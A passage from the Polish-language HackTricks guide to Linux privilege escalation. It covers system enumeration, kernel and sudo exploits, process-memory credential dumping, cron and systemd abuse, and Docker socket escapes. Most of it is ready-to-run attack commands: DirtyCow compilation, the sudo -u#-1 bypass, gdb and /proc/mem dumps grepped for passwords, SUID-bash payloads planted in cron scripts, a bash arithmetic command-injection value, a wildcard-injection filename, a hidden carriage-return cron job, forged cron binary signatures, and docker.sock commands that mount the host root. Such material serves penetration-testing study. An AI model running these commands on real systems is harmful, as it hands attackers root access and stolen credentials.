Linux Privilege Escalation

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Informacje o systemie

Informacje o systemie (OS)

Zacznijmy zbierać informacje o działającym systemie (OS)

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Jeśli masz uprawnienia zapisu w dowolnym folderze znajdującym się w zmiennej PATH, możesz przejąć niektóre biblioteki lub binaria:

echo $PATH

Informacje o środowisku

Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła lub klucze API?

(env || set) 2>/dev/null

Kernel exploits

Sprawdź wersję jądra i czy istnieje jakiś exploit, który można użyć do escalate privileges.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Znajdziesz dobrą listę podatnych jąder oraz kilka już compiled exploits tutaj: https://github.com/lucyoa/kernel-exploits i exploitdb sploits.
Inne serwisy, gdzie możesz znaleźć niektóre compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Aby wyodrębnić wszystkie wersje podatnych jąder z tej strony możesz zrobić:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploits to:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (uruchomić na ofierze, sprawdza tylko exploits dla kernel 2.x)

Zawsze wyszukaj kernel version w Google, być może twoja kernel version jest wymieniona w opisie jakiegoś kernel exploit i wtedy będziesz mieć pewność, że exploit działa.

Additional kernel exploitation techniques:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

Na podstawie podatnych wersji sudo, które pojawiają się w:

searchsploit sudo

Możesz sprawdzić, czy wersja sudo jest podatna, używając polecenia grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Wersje sudo wcześniejsze niż 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) pozwalają nieuprzywilejowanym lokalnym użytkownikom na eskalację uprawnień do roota za pomocą opcji sudo --chroot, gdy plik /etc/nsswitch.conf jest używany z katalogu kontrolowanego przez użytkownika.

Oto PoC który wykorzystuje tę vulnerability. Przed uruchomieniem exploita upewnij się, że twoja wersja sudo jest podatna i że obsługuje funkcję chroot.

Więcej informacji znajdziesz w oryginalnym vulnerability advisory

sudo < v1.8.28

Od @sickrov

sudo -u#-1 /bin/bash

Dmesg weryfikacja podpisu nie powiodła się

Sprawdź smasher2 box of HTB w poszukiwaniu przykładu, jak tę lukę można wykorzystać.

dmesg 2>/dev/null | grep "signature"

Dalsza enumeracja systemu

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Wymień możliwe zabezpieczenia

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Jeśli znajdujesz się wewnątrz docker container możesz spróbować z niego uciec:

Docker Security

Dyski

Sprawdź co jest zamontowane i niezamontowane, gdzie i dlaczego. Jeśli coś jest niezamontowane, możesz spróbować to zamontować i sprawdzić, czy nie zawiera prywatnych informacji

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Przydatne oprogramowanie

Wymień przydatne pliki binarne

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Sprawdź także, czy jest zainstalowany jakikolwiek kompilator. Jest to przydatne, jeśli będziesz musiał użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go używać (lub na podobnej).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Zainstalowane podatne oprogramowanie

Sprawdź wersję zainstalowanych pakietów i usług. Może istnieć jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do escalating privileges…
Zaleca się ręcznie sprawdzić wersję bardziej podejrzanego zainstalowanego oprogramowania.

dpkg -l #Debian
rpm -qa #Centos

Jeśli masz dostęp SSH do maszyny, możesz też użyć openVAS, żeby sprawdzić, czy na maszynie nie jest zainstalowane przestarzałe lub podatne oprogramowanie.

[!NOTE] > Zauważ, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy którakolwiek z zainstalowanych wersji oprogramowania jest podatna na znane exploits

Processes

Spójrz, jakie procesy są uruchomione i sprawdź, czy któryś proces nie ma więcej uprawnień, niż powinien (np. tomcat uruchomiony przez root?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process.
Również sprawdź swoje uprawnienia względem binarek procesów, być może możesz nadpisać którąś z nich.

Process monitoring

Możesz użyć narzędzi takich jak pspy do monitorowania procesów. To może być bardzo przydatne do identyfikacji podatnych procesów uruchamianych często lub gdy spełniony jest określony zbiór warunków.

Process memory

Niektóre usługi na serwerze zapisują poświadczenia w postaci jawnego tekstu w pamięci.
Zazwyczaj będziesz potrzebować uprawnień root do odczytu pamięci procesów należących do innych użytkowników, dlatego zwykle jest to przydatniejsze, gdy jesteś już rootem i chcesz odkryć więcej poświadczeń.
Jednak pamiętaj, że jako zwykły użytkownik możesz odczytywać pamięć procesów, które są twoje.

Warning

Note that nowadays most machines don’t allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.

The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:

  • kernel.yama.ptrace_scope = 0: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób działania ptrace.
  • kernel.yama.ptrace_scope = 1: debugowany może być tylko proces macierzysty.
  • kernel.yama.ptrace_scope = 2: tylko administrator może używać ptrace, ponieważ wymagana jest capability CAP_SYS_PTRACE.
  • kernel.yama.ptrace_scope = 3: żadne procesy nie mogą być śledzone przy użyciu ptrace. Po ustawieniu tej wartości wymagany jest reboot, aby ponownie włączyć ptrace.

GDB

Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz pobrać Heap i przeszukać go w poszukiwaniu poświadczeń.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Skrypt GDB

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Dla danego PID, maps pokazują, jak pamięć jest zmapowana w wirtualnej przestrzeni adresowej tego procesu; pokazują też uprawnienia każdego zmapowanego obszaru. Pseudo-plik mem ujawnia samą pamięć procesu. Z pliku maps wiemy, które obszary pamięci są czytelne oraz ich przesunięcia. Wykorzystujemy te informacje, aby ustawić wskaźnik w pliku mem i zrzucić wszystkie czytelne obszary do pliku.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem zapewnia dostęp do pamięci fizycznej systemu, a nie do pamięci wirtualnej. Dostęp do wirtualnej przestrzeni adresowej jądra można uzyskać za pomocą /dev/kmem.
Zazwyczaj /dev/mem jest czytelny tylko dla root i grupy kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump dla linux

ProcDump jest wersją dla Linux klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz go z https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Narzędzia

Do zrzucenia pamięci procesu możesz użyć:

Poświadczenia z pamięci procesu

Przykład ręczny

Jeśli stwierdzisz, że proces authenticator jest uruchomiony:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Możesz dumpować proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby dumpowania pamięci procesu) i wyszukać credentials w pamięci:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Narzędzie https://github.com/huntergregal/mimipenguin będzie kraść poświadczenia w postaci tekstu jawnego z pamięci oraz z niektórych dobrze znanych plików. Wymaga uprawnień roota, aby działać poprawnie.

FunkcjaNazwa procesu
GDM password (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (Active HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions - Sudo Usage)sshd:

Wzorce wyszukiwania/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Zaplanowane zadania/Cron

Crontab UI (alseambusher) running as root – web-based scheduler privesc

Jeśli panel „Crontab UI” (alseambusher/crontab-ui) działa jako root i jest związany tylko z loopback, nadal możesz się do niego dostać przez lokalne przekierowanie portu SSH i utworzyć uprzywilejowane zadanie, aby eskalować uprawnienia.

Typowy łańcuch

  • Odkryj port dostępny tylko z loopback (np. 127.0.0.1:8000) i realm Basic-Auth za pomocą ss -ntlp / curl -v localhost:8000
  • Znajdź poświadczenia w artefaktach operacyjnych:
  • Kopie zapasowe/skrypty z zip -P <password>
  • jednostka systemd ujawniająca Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
  • Tuneluj i zaloguj się:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Utwórz zadanie z wysokimi uprawnieniami i uruchom je natychmiast (zrzuca SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Użyj tego:
/tmp/rootshell -p   # root shell

Wzmocnienie bezpieczeństwa

  • Nie uruchamiaj Crontab UI jako root; ogranicz go do dedykowanego użytkownika i minimalnych uprawnień
  • Nasłuchuj tylko na localhost i dodatkowo ogranicz dostęp za pomocą firewall/VPN; nie używaj ponownie haseł
  • Unikaj osadzania sekretów w unit files; używaj secret stores lub root-only EnvironmentFile
  • Włącz audyt/logowanie dla uruchomień zadań na żądanie

Sprawdź, czy któreś zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt wykonywany przez root (wildcard vuln? czy można modyfikować pliki, z których korzysta root? użyć symlinks? utworzyć specyficzne pliki w katalogu, którego używa root?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Ścieżka cron

Na przykład, w pliku /etc/crontab możesz znaleźć zmienną PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Zwróć uwagę, że użytkownik “user” ma prawa zapisu do /home/user)

Jeśli w tym crontabie użytkownik root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: * * * * root overwrite.sh
Wtedy możesz uzyskać powłokę root, używając:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron używający skryptu z wildcard (Wildcard Injection)

Jeśli skrypt uruchamiany przez root zawiera “*” w poleceniu, możesz to wykorzystać, aby spowodować nieoczekiwane zachowanie (np. privesc). Przykład:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Jeśli wildcard jest poprzedzony ścieżką taką jak /some/path/* , nie jest podatny (nawet ./* też nie jest).

Przeczytaj następującą stronę, aby poznać więcej trików wykorzystania wildcard:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash wykonuje parameter expansion i command substitution przed arithmetic evaluation w ((…)), $((…)) i let. Jeśli root cron/parser odczytuje niezaufane pola z logów i przekazuje je do kontekstu arytmetycznego, atakujący może wstrzyknąć command substitution $(…), które wykona się jako root, gdy cron zostanie uruchomiony.

  • Dlaczego to działa: W Bash rozszerzenia zachodzą w tej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, potem word splitting i pathname expansion. Więc wartość taka jak $(/bin/bash -c 'id > /tmp/pwn')0 jest najpierw podmieniana (uruchamiając polecenie), a pozostała część numeryczna 0 jest użyta do obliczeń arytmetycznych, dzięki czemu skrypt kontynuuje bez błędów.

  • Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Eksploatacja: Spowoduj, by tekst kontrolowany przez atakującego został zapisany w parsowanym logu tak, aby pole wyglądające jak liczba zawierało command substitution i kończyło się cyfrą. Upewnij się, że twoje polecenie nie wypisuje na stdout (lub przekieruj je), aby arytmetyka pozostała poprawna.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Jeśli możesz zmodyfikować cron script wykonywany jako root, możesz bardzo łatwo uzyskać shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Jeśli script wykonywany przez root używa katalogu, do którego masz pełny dostęp, warto usunąć ten folder i utworzyć folder-symlink wskazujący na inny, serwujący script kontrolowany przez ciebie

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Custom-signed cron binaries with writable payloads

Zespoły Blue czasami “sign” binarki uruchamiane przez cron, zrzucając niestandardową sekcję ELF i grep’ując ciąg vendor przed wykonaniem ich jako root. Jeśli ten binarny jest group-writable (np. /opt/AV/periodic-checks/monitor należący do root:devs 770) i możesz leak the signing material, możesz sfałszować sekcję i przejąć zadanie cron:

  1. Użyj pspy do przechwycenia procesu weryfikacji. W Era root uruchamiał objcopy --dump-section .text_sig=text_sig_section.bin monitor a następnie grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin i potem wykonywał plik.
  2. Odtwórz oczekiwany certyfikat używając the leaked key/config (z signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. Zbuduj złośliwy zamiennik (np. upuść SUID bash, dodaj swój klucz SSH) i osadź certyfikat w .text_sig, aby grep przeszedł:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. Nadpisz zaplanowany binarny, zachowując bity wykonywalności:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. Poczekaj na następne uruchomienie cron; gdy naiwny check sygnatury powiedzie się, your payload uruchomi się jako root.

Frequent cron jobs

Możesz monitorować procesy, aby wyszukać procesy uruchamiane co 1, 2 lub 5 minut. Może uda się to wykorzystać do eskalacji uprawnień.

Na przykład, aby monitor every 0.1s during 1 minute, sort by less executed commands i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Możesz też użyć pspy (to będzie monitorować i wypisywać każdy proces, który się uruchamia).

Niewidoczne cron jobs

Można utworzyć cronjob, wstawiając carriage return po komentarzu (bez znaku nowej linii), i cron job będzie działać. Przykład (zwróć uwagę na znak carriage return):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Usługi

Pliki .service z prawem zapisu

Sprawdź, czy możesz zapisać dowolny plik .service, jeśli tak, możesz go zmodyfikować tak, aby uruchamiał twój backdoor, gdy usługa jest uruchamiana, ponownie uruchamiana lub zatrzymywana (może być konieczne poczekanie na ponowne uruchomienie maszyny).
Na przykład utwórz swój backdoor wewnątrz pliku .service używając ExecStart=/tmp/script.sh

Zapisywalne binaria usług

Pamiętaj, że jeśli masz uprawnienia zapisu do binariów uruchamianych przez usługi, możesz je zmienić na backdoor, tak aby po ponownym uruchomieniu usług backdoor został wykonany.

systemd PATH - Ścieżki względne

Możesz zobaczyć PATH używany przez systemd za pomocą:

systemctl show-environment

Jeśli okaże się, że możesz zapisywać w którymkolwiek z katalogów na tej ścieżce, możesz być w stanie escalate privileges. Musisz szukać ścieżek względnych używanych w plikach konfiguracji usług takich jak:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Następnie utwórz wykonywalny plik o tej samej nazwie co plik binarny z relatywnej ścieżki w folderze PATH systemd, do którego masz uprawnienia zapisu, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (Start, Stop, Reload), twój backdoor zostanie uruchomiony (użytkownicy bez uprawnień zazwyczaj nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć sudo -l).

Dowiedz się więcej o usługach za pomocą man systemd.service.

Timers

Timers to pliki jednostek systemd, których nazwa kończy się na **.timer**, które kontrolują pliki lub zdarzenia **.service**. Timers mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń opartych na czasie kalendarza oraz zdarzeń monotonicznych i mogą działać asynchronicznie.

Możesz wylistować wszystkie Timers za pomocą:

systemctl list-timers --all

Timery możliwe do modyfikacji

Jeśli możesz zmodyfikować timer, możesz sprawić, że uruchomi on istniejące jednostki systemd.unit (np. .service lub .target).

Unit=backdoor.service

Jednostka, która zostanie aktywowana po upływie tego timera. Argument to nazwa jednostki, której sufiks nie jest “.timer”. Jeśli nie określono, ta wartość domyślnie wskazuje na service o tej samej nazwie co timer unit, z wyjątkiem sufiksu. (Patrz wyżej.) Zaleca się, aby nazwa jednostki aktywowanej oraz nazwa timer unit były identyczne, poza sufiksem.

W związku z tym, aby nadużyć tego uprawnienia musisz:

  • Znaleźć jakąś jednostkę systemd (np. .service), która uruchamia zapisywalny plik binarny
  • Znaleźć jednostkę systemd, która uruchamia ścieżkę względną i masz uprawnienia zapisu do systemd PATH (aby podszyć się pod ten plik wykonywalny)

Dowiedz się więcej o timerach za pomocą man systemd.timer.

Włączanie timera

Aby włączyć timer, potrzebujesz uprawnień root i wykonać:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Zauważ, że timer jest aktywowany przez utworzenie symlinku do niego w /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) umożliwiają komunikację procesów na tej samej lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików .socket.

Sockets można konfigurować za pomocą plików .socket.

Dowiedz się więcej o sockets za pomocą man systemd.socket. W tym pliku można skonfigurować kilka interesujących parametrów:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Te opcje różnią się, ale poniżej znajduje się podsumowanie użyte do określenia, gdzie będzie nasłuchiwać socket (ścieżka pliku gniazda AF_UNIX, adres IPv4/6 i/lub numer portu, na którym będzie nasłuchiwać, itd.)
  • Accept: Przyjmuje argument typu boolean. Jeśli true, dla każdego przychodzącego połączenia tworzona jest instancja service i przekazywany jest jej tylko socket połączenia. Jeśli false, wszystkie nasłuchujące sockety są przekazywane do uruchomionej service unit, a tylko jedna service unit jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla datagram sockets i FIFO, gdzie jedna service unit bezwarunkowo obsługuje cały przychodzący ruch. Domyślnie false. Ze względów wydajnościowych zaleca się pisać nowe demony tylko w sposób zgodny z Accept=no.
  • ExecStartPre, ExecStartPost: Przyjmują jedną lub więcej linii poleceń, które są wykonywane przed lub po utworzeniu i związaniu nasłuchujących socketów/FIFO, odpowiednio. Pierwszy token linii poleceń musi być ścieżką absolutną do pliku wykonywalnego, po czym następują argumenty procesu.
  • ExecStopPre, ExecStopPost: Dodatkowe polecenia, które są wykonywane przed lub po zamknięciu i usunięciu nasłuchujących socketów/FIFO, odpowiednio.
  • Service: Określa nazwę jednostki service, która ma zostać aktywowana przy przychodzącym ruchu. To ustawienie jest dozwolone tylko dla socketów z Accept=no. Domyślnie wskazuje na service o tej samej nazwie co socket (z zamienionym sufiksem). W większości przypadków nie jest konieczne używanie tej opcji.

Writable .socket files

Jeśli znajdziesz zapisywalny plik .socket, możesz dodać na początku sekcji [Socket] coś w stylu: ExecStartPre=/home/kali/sys/backdoor i backdoor zostanie wykonany przed utworzeniem socketu. W związku z tym prawdopodobnie będziesz musiał poczekać do restartu maszyny.
Uwaga: system musi korzystać z tej konfiguracji pliku socket, inaczej backdoor nie zostanie wykonany

Writable sockets

Jeśli zidentyfikujesz jakikolwiek zapisywalny socket (tu mówimy o Unix Sockets, a nie o plikach konfiguracyjnych .socket), to możesz komunikować się z tym socketem i potencjalnie wykorzystać podatność.

Enumerate Unix Sockets

netstat -a -p --unix

Surowe połączenie

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Zauważ, że mogą istnieć pewne sockets nasłuchujące żądań HTTP (Nie mam na myśli plików .socket, lecz plików działających jako unix sockets). Możesz to sprawdzić za pomocą:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Jeśli socket odpowiada na żądanie HTTP, to możesz z nim komunikować się i być może wykorzystać jakąś podatność.

Zapisalny Docker socket

Socket Dockera, często znajdujący się pod /var/run/docker.sock, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika root i członków grupy docker. Posiadanie uprawnień do zapisu do tego socketa może prowadzić do eskalacji uprawnień. Poniżej znajduje się rozbicie, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne.

Eskalacja uprawnień za pomocą Docker CLI

Jeśli masz dostęp do zapisu do socketu Dockera, możesz eskalować uprawnienia używając następujących poleceń:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Te polecenia pozwalają uruchomić kontener z uprawnieniami root do systemu plików hosta.

Korzystanie bezpośrednio z Docker API

W przypadkach, gdy Docker CLI nie jest dostępne, Docker socket można nadal manipulować za pomocą Docker API i poleceń curl.

  1. List Docker Images: Pobierz listę dostępnych obrazów.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: Wyślij żądanie utworzenia kontenera, który montuje katalog root systemu hosta.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Uruchom nowo utworzony kontener:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: Użyj socat, aby nawiązać połączenie z kontenerem, umożliwiając wykonywanie poleceń w jego wnętrzu.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Po ustawieniu połączenia socat możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami root do systemu plików hosta.

Inne

Zwróć uwagę, że jeśli masz uprawnienia zapisu do docker socket, ponieważ jesteś w grupie docker, masz więcej sposobów na eskalację uprawnień. Jeśli Docker API nasłuchuje na porcie możesz także je przejąć.

Sprawdź więcej sposobów na ucieczkę z Docker lub jego nadużycie w celu eskalacji uprawnień w:

Docker Security

Containerd (ctr) eskalacja uprawnień

Jeśli możesz użyć polecenia ctr, przeczytaj następującą stronę, ponieważ możesz wykorzystać je do eskalacji uprawnień:

Containerd (ctr) Privilege Escalation

RunC eskalacja uprawnień

Jeśli możesz użyć polecenia runc, przeczytaj następującą stronę, ponieważ możesz wykorzystać je do eskalacji uprawnień:

RunC Privilege Escalation

D-Bus

D-Bus to zaawansowany system inter-Process Communication (IPC), który umożliwia aplikacjom efektywną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami.

System jest wszechstronny — wspiera podstawowe IPC, poprawiające wymianę danych między procesami, przypominające enhanced UNIX domain sockets. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając płynną integrację komponentów systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które wcześniej były skomplikowane.

D-Bus działa w oparciu o allow/deny model, zarządzając uprawnieniami do wiadomości (wywołań metod, emisji sygnałów itp.) w oparciu o skumulowany efekt pasujących reguł polityki. Te polityki określają interakcje z busem, co potencjalnie może pozwolić na eskalację uprawnień poprzez nadużycie tych uprawnień.

Podano przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf, opisujący uprawnienia dla użytkownika root do posiadania, wysyłania oraz odbierania wiadomości od fi.w1.wpa_supplicant1.

Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalnie, natomiast polityki w kontekście “default” odnoszą się do wszystkich nieobjętych innymi, specyficznymi politykami.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
